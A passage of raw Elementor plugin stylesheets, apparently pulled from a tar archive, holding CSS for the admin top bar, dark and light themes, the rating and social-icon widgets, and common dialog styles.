.e-admin-top-bar__bar-button-icon { margin: 0 4px; } #e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-title, #e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-icon { color: var(--e-a-color-txt-hover); } #e-admin-top-bar-root .e-admin-top-bar__bar-button-title { font-size: 13px; font-weight: 500; margin: 0 4px; line-height: normal; } #e-admin-top-bar-root ~ #wpbody .wrap h1, #e-admin-top-bar-root ~ #wpbody .wrap .page-title-action { display: none; } @media screen and (max-width: 960px) { #e-admin-top-bar-root { width: calc(100% - 36px); } } @media screen and (max-width: 782px) { #e-admin-top-bar-root { width: 100%; } } @media screen and (max-width: 600px) { #e-admin-top-bar-root { top: 46px; } } @media (max-width: 768px) { #e-admin-top-bar-root { display: inline-flex; align-items: center; justify-content: center; } #e-admin-top-bar-root .e-admin-top-bar__main-area-buttons { position: absolute; top: calc(100% + 10px); } #e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons { display: none; } #e-admin-top-bar-root .e-admin-top-bar__secondary-area > .e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-title { display: none; } } @media (min-width: 768px) { #e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons { display: flex; } } /*# sourceMappingURL=admin-top-bar.css.map */assets/css/theme-dark.css000064400000005123147206604650011404 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root { color-scheme: dark; --e-a-color-white: #ffffff; --e-a-color-black: #000000; --e-a-color-logo: #000000; --e-a-color-primary: #524CFF; --e-a-color-primary-bold: #F0ABFC; --e-a-color-secondary: #515962; --e-a-color-success: #0A875A; --e-a-color-danger: #DC2626; --e-a-color-info: #2563EB; --e-a-color-warning: #F59E0B; --e-a-color-accent: #93003f; --e-a-color-accent-promotion: #D6107C; --e-a-color-global: #1DDDBF; --e-a-bg-default: #1f2124; --e-a-bg-invert: #ffffff; --e-a-bg-hover: #2b2c31; --e-a-bg-active: #333438; --e-a-bg-active-bold: #3f444b; --e-a-bg-loading: #F9FAFA; --e-a-bg-logo: #ffffff; --e-a-bg-primary: #310132; --e-a-bg-secondary: #515962; --e-a-bg-success: #032317; --e-a-bg-info: #0A1A3D; --e-a-bg-danger: #390A0A; --e-a-bg-warning: #311808; --e-a-color-txt: #D5D8DC; --e-a-color-txt-muted: #9DA5AE; --e-a-color-txt-disabled: #69727D; --e-a-color-txt-invert: #ffffff; --e-a-color-txt-accent: #ffffff; --e-a-color-txt-hover: #9DA5AE; --e-a-color-txt-active: #ffffff; --e-a-border-color: #333438; --e-a-border-color-bold: #3f444b; --e-a-border-color-focus: #515962; --e-a-border-color-accent: #ffffff; --e-a-border: 1px solid var(--e-a-border-color); --e-a-border-bold: 1px solid var(--e-a-border-color-bold); --e-a-border-radius: 3px; --e-a-btn-color: #0C0D0E; --e-a-btn-color-invert: var(--e-a-color-txt-invert); --e-a-btn-color-disabled: var(--e-a-color-txt-disabled); --e-a-btn-bg: #515962; --e-a-btn-bg-hover: #3a4046; --e-a-btn-bg-active: #23262a; --e-a-btn-bg-disabled: #D5D8DC; --e-a-btn-bg-primary: #F3BAFD; --e-a-btn-bg-primary-hover: #EB8EFB; --e-a-btn-bg-primary-active:#F0ABFC; --e-a-btn-bg-accent: #93003f; --e-a-btn-bg-accent-hover: #8F1A4C; --e-a-btn-bg-accent-active: #A93365; --e-a-btn-bg-info: #2563EB; --e-a-btn-bg-info-hover: #134cca; --e-a-btn-bg-info-active: #0e3b9c; --e-a-btn-bg-success: #0A875A; --e-a-btn-bg-success-hover: #06583a; --e-a-btn-bg-success-active:#03281b; --e-a-btn-bg-warning: #F59E0B; --e-a-btn-bg-warning-hover: #c57f08; --e-a-btn-bg-warning-active:#945f06; --e-a-btn-bg-danger: #DC2626; --e-a-btn-bg-danger-hover: #b21d1d; --e-a-btn-bg-danger-active: #861616; --e-a-dark-bg: #0C0D0E; --e-a-dark-color-txt: #9DA5AE; --e-a-dark-color-txt-hover: #D5D8DC; --e-a-font-family: Roboto, Arial, Helvetica, sans-serif; --e-a-transition-hover: all .3s; --e-a-popover-shadow: 0 2px 15px rgba(0, 0, 0, 0.9); --e-a-dropdown-shadow: 0 0 3px rgba(0, 0, 0, 0.9); } /*# sourceMappingURL=theme-dark.css.map */assets/css/widget-rating-rtl.min.css000064400000002452147206604650013513 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-rating{--e-rating-gap:0px;--e-rating-icon-font-size:16px;--e-rating-icon-color:#ccd6df;--e-rating-icon-marked-color:#f0ad4e;--e-rating-icon-marked-width:100%;--e-rating-justify-content:flex-start}.elementor-widget-rating .e-rating{display:flex;justify-content:var(--e-rating-justify-content)}.elementor-widget-rating .e-rating-wrapper{display:flex;justify-content:inherit;flex-direction:row;flex-wrap:wrap;width:-moz-fit-content;width:fit-content;margin-block-end:calc(0px - var(--e-rating-gap));margin-inline-end:calc(0px - var(--e-rating-gap))}.elementor-widget-rating .e-rating .e-icon{position:relative;margin-block-end:var(--e-rating-gap);margin-inline-end:var(--e-rating-gap)}.elementor-widget-rating .e-rating .e-icon-wrapper.e-icon-marked{--e-rating-icon-color:var(--e-rating-icon-marked-color);width:var(--e-rating-icon-marked-width);position:absolute;z-index:1;height:100%;left:0;top:0;overflow:hidden}.elementor-widget-rating .e-rating .e-icon-wrapper :is(i,svg){display:flex;flex-shrink:0}.elementor-widget-rating .e-rating .e-icon-wrapper i{font-size:var(--e-rating-icon-font-size);color:var(--e-rating-icon-color)}.elementor-widget-rating .e-rating .e-icon-wrapper svg{width:auto;height:var(--e-rating-icon-font-size);fill:var(--e-rating-icon-color)}assets/css/theme-light.min.css000064400000004327147206604650012361 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root{--e-a-color-white:#fff;--e-a-color-black:#000;--e-a-color-logo:#fff;--e-a-color-primary:#f3bafd;--e-a-color-primary-bold:#d004d4;--e-a-color-secondary:#515962;--e-a-color-success:#0a875a;--e-a-color-danger:#dc2626;--e-a-color-info:#2563eb;--e-a-color-warning:#f59e0b;--e-a-color-accent:#93003f;--e-a-color-global:#1dddbf;--e-a-color-accent-promotion:#93003f;--e-a-bg-default:#fff;--e-a-bg-invert:#0c0d0e;--e-a-bg-hover:#f1f2f3;--e-a-bg-active:#e6e8ea;--e-a-bg-active-bold:#d5d8dc;--e-a-bg-loading:#f9fafa;--e-a-bg-logo:#000;--e-a-bg-primary:#fae8ff;--e-a-bg-secondary:#515962;--e-a-bg-success:#f2fdf5;--e-a-bg-info:#f0f7ff;--e-a-bg-danger:#fef1f4;--e-a-bg-warning:#fffbeb;--e-a-color-txt:#515962;--e-a-color-txt-muted:#818a96;--e-a-color-txt-disabled:#babfc5;--e-a-color-txt-invert:#fff;--e-a-color-txt-accent:#0c0d0e;--e-a-color-txt-hover:#3f444b;--e-a-color-txt-active:#0c0d0e;--e-a-border-color:#e6e8ea;--e-a-border-color-bold:#d5d8dc;--e-a-border-color-focus:#babfc5;--e-a-border-color-accent:#0c0d0e;--e-a-border:1px solid var(--e-a-border-color);--e-a-border-bold:1px solid var(--e-a-border-color-bold);--e-a-border-radius:3px;--e-a-btn-color:#0c0d0e;--e-a-btn-color-invert:var(--e-a-color-txt-invert);--e-a-btn-color-disabled:var(--e-a-color-txt-disabled);--e-a-btn-bg:#515962;--e-a-btn-bg-hover:#3a4046;--e-a-btn-bg-active:#23262a;--e-a-btn-bg-disabled:#d5d8dc;--e-a-btn-bg-primary:#f3bafd;--e-a-btn-bg-primary-hover:#f5d0fe;--e-a-btn-bg-primary-active:#f0abfc;--e-a-btn-bg-accent:#93003f;--e-a-btn-bg-accent-hover:#8f1a4c;--e-a-btn-bg-accent-active:#a93365;--e-a-btn-bg-info:#2563eb;--e-a-btn-bg-info-hover:#134cca;--e-a-btn-bg-info-active:#0e3b9c;--e-a-btn-bg-success:#0a875a;--e-a-btn-bg-success-hover:#06583a;--e-a-btn-bg-success-active:#03281b;--e-a-btn-bg-warning:#f59e0b;--e-a-btn-bg-warning-hover:#c57f08;--e-a-btn-bg-warning-active:#945f06;--e-a-btn-bg-danger:#dc2626;--e-a-btn-bg-danger-hover:#b21d1d;--e-a-btn-bg-danger-active:#861616;--e-a-dark-bg:#0c0d0e;--e-a-dark-color-txt:#9da5ae;--e-a-dark-color-txt-hover:#d5d8dc;--e-a-font-family:Roboto,Arial,Helvetica,sans-serif;--e-a-transition-hover:all .3s;--e-a-popover-shadow:0 2px 15px rgba(0,0,0,0.3);--e-a-dropdown-shadow:0 0 3px rgba(0,0,0,0.2)}assets/css/widget-social-icons-rtl.min.css000064400000011413147206604650014607 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-social-icons.elementor-grid-0 .elementor-widget-container,.elementor-widget-social-icons.elementor-grid-mobile-0 .elementor-widget-container,.elementor-widget-social-icons.elementor-grid-tablet-0 .elementor-widget-container{line-height:1;font-size:0}.elementor-widget-social-icons:not(.elementor-grid-0):not(.elementor-grid-tablet-0):not(.elementor-grid-mobile-0) .elementor-grid{display:inline-grid}.elementor-widget-social-icons .elementor-grid{grid-column-gap:var(--grid-column-gap,5px);grid-row-gap:var(--grid-row-gap,5px);grid-template-columns:var(--grid-template-columns);justify-content:var(--justify-content,center);justify-items:var(--justify-content,center)}.elementor-icon.elementor-social-icon{font-size:var(--icon-size,25px);line-height:var(--icon-size,25px);width:calc(var(--icon-size, 25px) + 2 * var(--icon-padding, .5em));height:calc(var(--icon-size, 25px) + 2 * var(--icon-padding, .5em))}.elementor-social-icon{--e-social-icon-icon-color:#fff;display:inline-flex;background-color:#69727d;align-items:center;justify-content:center;text-align:center;cursor:pointer}.elementor-social-icon i{color:var(--e-social-icon-icon-color)}.elementor-social-icon svg{fill:var(--e-social-icon-icon-color)}.elementor-social-icon:last-child{margin:0}.elementor-social-icon:hover{opacity:.9;color:#fff}.elementor-social-icon-android{background-color:#a4c639}.elementor-social-icon-apple{background-color:#999}.elementor-social-icon-behance{background-color:#1769ff}.elementor-social-icon-bitbucket{background-color:#205081}.elementor-social-icon-codepen{background-color:#000}.elementor-social-icon-delicious{background-color:#39f}.elementor-social-icon-deviantart{background-color:#05cc47}.elementor-social-icon-digg{background-color:#005be2}.elementor-social-icon-dribbble{background-color:#ea4c89}.elementor-social-icon-elementor{background-color:#d30c5c}.elementor-social-icon-envelope{background-color:#ea4335}.elementor-social-icon-facebook,.elementor-social-icon-facebook-f{background-color:#3b5998}.elementor-social-icon-flickr{background-color:#0063dc}.elementor-social-icon-foursquare{background-color:#2d5be3}.elementor-social-icon-free-code-camp,.elementor-social-icon-freecodecamp{background-color:#006400}.elementor-social-icon-github{background-color:#333}.elementor-social-icon-gitlab{background-color:#e24329}.elementor-social-icon-globe{background-color:#69727d}.elementor-social-icon-google-plus,.elementor-social-icon-google-plus-g{background-color:#dd4b39}.elementor-social-icon-houzz{background-color:#7ac142}.elementor-social-icon-instagram{background-color:#262626}.elementor-social-icon-jsfiddle{background-color:#487aa2}.elementor-social-icon-link{background-color:#818a91}.elementor-social-icon-linkedin,.elementor-social-icon-linkedin-in{background-color:#0077b5}.elementor-social-icon-medium{background-color:#00ab6b}.elementor-social-icon-meetup{background-color:#ec1c40}.elementor-social-icon-mixcloud{background-color:#273a4b}.elementor-social-icon-odnoklassniki{background-color:#f4731c}.elementor-social-icon-pinterest{background-color:#bd081c}.elementor-social-icon-product-hunt{background-color:#da552f}.elementor-social-icon-reddit{background-color:#ff4500}.elementor-social-icon-rss{background-color:#f26522}.elementor-social-icon-shopping-cart{background-color:#4caf50}.elementor-social-icon-skype{background-color:#00aff0}.elementor-social-icon-slideshare{background-color:#0077b5}.elementor-social-icon-snapchat{background-color:#fffc00}.elementor-social-icon-soundcloud{background-color:#f80}.elementor-social-icon-spotify{background-color:#2ebd59}.elementor-social-icon-stack-overflow{background-color:#fe7a15}.elementor-social-icon-steam{background-color:#00adee}.elementor-social-icon-stumbleupon{background-color:#eb4924}.elementor-social-icon-telegram{background-color:#2ca5e0}.elementor-social-icon-threads{background-color:#000}.elementor-social-icon-thumb-tack{background-color:#1aa1d8}.elementor-social-icon-tripadvisor{background-color:#589442}.elementor-social-icon-tumblr{background-color:#35465c}.elementor-social-icon-twitch{background-color:#6441a5}.elementor-social-icon-twitter{background-color:#1da1f2}.elementor-social-icon-viber{background-color:#665cac}.elementor-social-icon-vimeo{background-color:#1ab7ea}.elementor-social-icon-vk{background-color:#45668e}.elementor-social-icon-weibo{background-color:#dd2430}.elementor-social-icon-weixin{background-color:#31a918}.elementor-social-icon-whatsapp{background-color:#25d366}.elementor-social-icon-wordpress{background-color:#21759b}.elementor-social-icon-x-twitter{background-color:#000}.elementor-social-icon-xing{background-color:#026466}.elementor-social-icon-yelp{background-color:#af0606}.elementor-social-icon-youtube{background-color:#cd201f}.elementor-social-icon-500px{background-color:#0099e5}assets/css/common-rtl.min.css000064400000063142147206604650012241 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ :root{--e-a-color-white:#fff;--e-a-color-black:#000;--e-a-color-logo:#fff;--e-a-color-primary:#f3bafd;--e-a-color-primary-bold:#d004d4;--e-a-color-secondary:#515962;--e-a-color-success:#0a875a;--e-a-color-danger:#dc2626;--e-a-color-info:#2563eb;--e-a-color-warning:#f59e0b;--e-a-color-accent:#93003f;--e-a-color-global:#1dddbf;--e-a-color-accent-promotion:#93003f;--e-a-bg-default:#fff;--e-a-bg-invert:#0c0d0e;--e-a-bg-hover:#f1f2f3;--e-a-bg-active:#e6e8ea;--e-a-bg-active-bold:#d5d8dc;--e-a-bg-loading:#f9fafa;--e-a-bg-logo:#000;--e-a-bg-primary:#fae8ff;--e-a-bg-secondary:#515962;--e-a-bg-success:#f2fdf5;--e-a-bg-info:#f0f7ff;--e-a-bg-danger:#fef1f4;--e-a-bg-warning:#fffbeb;--e-a-color-txt:#515962;--e-a-color-txt-muted:#818a96;--e-a-color-txt-disabled:#babfc5;--e-a-color-txt-invert:#fff;--e-a-color-txt-accent:#0c0d0e;--e-a-color-txt-hover:#3f444b;--e-a-color-txt-active:#0c0d0e;--e-a-border-color:#e6e8ea;--e-a-border-color-bold:#d5d8dc;--e-a-border-color-focus:#babfc5;--e-a-border-color-accent:#0c0d0e;--e-a-border:1px solid var(--e-a-border-color);--e-a-border-bold:1px solid var(--e-a-border-color-bold);--e-a-border-radius:3px;--e-a-btn-color:#0c0d0e;--e-a-btn-color-invert:var(--e-a-color-txt-invert);--e-a-btn-color-disabled:var(--e-a-color-txt-disabled);--e-a-btn-bg:#515962;--e-a-btn-bg-hover:#3a4046;--e-a-btn-bg-active:#23262a;--e-a-btn-bg-disabled:#d5d8dc;--e-a-btn-bg-primary:#f3bafd;--e-a-btn-bg-primary-hover:#f5d0fe;--e-a-btn-bg-primary-active:#f0abfc;--e-a-btn-bg-accent:#93003f;--e-a-btn-bg-accent-hover:#8f1a4c;--e-a-btn-bg-accent-active:#a93365;--e-a-btn-bg-info:#2563eb;--e-a-btn-bg-info-hover:#134cca;--e-a-btn-bg-info-active:#0e3b9c;--e-a-btn-bg-success:#0a875a;--e-a-btn-bg-success-hover:#06583a;--e-a-btn-bg-success-active:#03281b;--e-a-btn-bg-warning:#f59e0b;--e-a-btn-bg-warning-hover:#c57f08;--e-a-btn-bg-warning-active:#945f06;--e-a-btn-bg-danger:#dc2626;--e-a-btn-bg-danger-hover:#b21d1d;--e-a-btn-bg-danger-active:#861616;--e-a-dark-bg:#0c0d0e;--e-a-dark-color-txt:#9da5ae;--e-a-dark-color-txt-hover:#d5d8dc;--e-a-font-family:Roboto,Arial,Helvetica,sans-serif;--e-a-transition-hover:all .3s;--e-a-popover-shadow:0 2px 15px rgba(0,0,0,0.3);--e-a-dropdown-shadow:0 0 3px rgba(0,0,0,0.2)}.elementor-hidden{display:none}.elementor-visibility-hidden{visibility:hidden}.elementor-screen-only,.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;top:-10000em;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);border:0}.elementor-clearfix:after{content:"";display:block;clear:both;width:0;height:0}.dialog-widget-content{background-color:var(--e-a-bg-default);position:absolute;border-radius:3px;box-shadow:2px 8px 23px 3px rgba(0,0,0,.2);overflow:hidden}.dialog-message{line-height:1.5;box-sizing:border-box}.dialog-close-button{cursor:pointer;position:absolute;margin-block-start:15px;inset-inline-end:15px;color:var(--e-a-color-txt);font-size:15px;line-height:1;transition:var(--e-a-transition-hover)}.dialog-close-button:hover{color:var(--e-a-color-txt-hover)}.dialog-prevent-scroll{overflow:hidden;max-height:100vh}.dialog-type-lightbox{position:fixed;height:100%;width:100%;bottom:0;left:0;background-color:rgba(0,0,0,.8);z-index:9999;-webkit-user-select:none;-moz-user-select:none;user-select:none}.elementor-editor-active .elementor-popup-modal{background-color:initial}.dialog-type-alert .dialog-widget-content,.dialog-type-confirm .dialog-widget-content{margin:auto;width:400px;padding:20px}.dialog-type-alert .dialog-header,.dialog-type-confirm .dialog-header{font-size:15px;font-weight:500}.dialog-type-alert .dialog-header:after,.dialog-type-confirm .dialog-header:after{content:"";display:block;border-block-end:var(--e-a-border);padding-block-end:10px;margin-block-end:10px;margin-inline-start:-20px;margin-inline-end:-20px}.dialog-type-alert .dialog-message,.dialog-type-confirm .dialog-message{min-height:50px}.dialog-type-alert .dialog-buttons-wrapper,.dialog-type-confirm .dialog-buttons-wrapper{padding-block-start:10px;display:flex;justify-content:flex-end;gap:15px}.dialog-type-alert .dialog-buttons-wrapper .dialog-button,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button{font-size:12px;font-weight:500;line-height:1.2;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{border:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:active{background-color:var(--e-a-btn-bg-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]),.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]){cursor:pointer}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled{background-color:var(--e-a-btn-bg-disabled);color:var(--e-a-btn-color-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon{display:none}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt{background:transparent;color:var(--e-a-color-txt)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover{background:var(--e-a-bg-hover);color:var(--e-a-color-txt-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled{background:transparent;color:var(--e-a-color-txt-disabled)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border{border:1px solid var(--e-a-color-txt-muted)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success{background-color:var(--e-a-btn-bg-success)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover{background-color:var(--e-a-btn-bg-success-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary{background-color:var(--e-a-btn-bg-primary);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover{background-color:var(--e-a-btn-bg-primary-hover);color:var(--e-a-btn-color)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt{background:transparent;color:var(--e-a-color-primary-bold)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover{background:var(--e-a-bg-primary)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro{background-color:var(--e-a-btn-bg-accent)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover{background-color:var(--e-a-btn-bg-accent-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active{background-color:var(--e-a-btn-bg-accent-active)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info{background-color:var(--e-a-btn-bg-info)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover{background-color:var(--e-a-btn-bg-info-hover)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning{background-color:var(--e-a-btn-bg-warning)}.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus,.dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus,.dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover,.dialog-type-confirm .dialog-buttons-wrapper 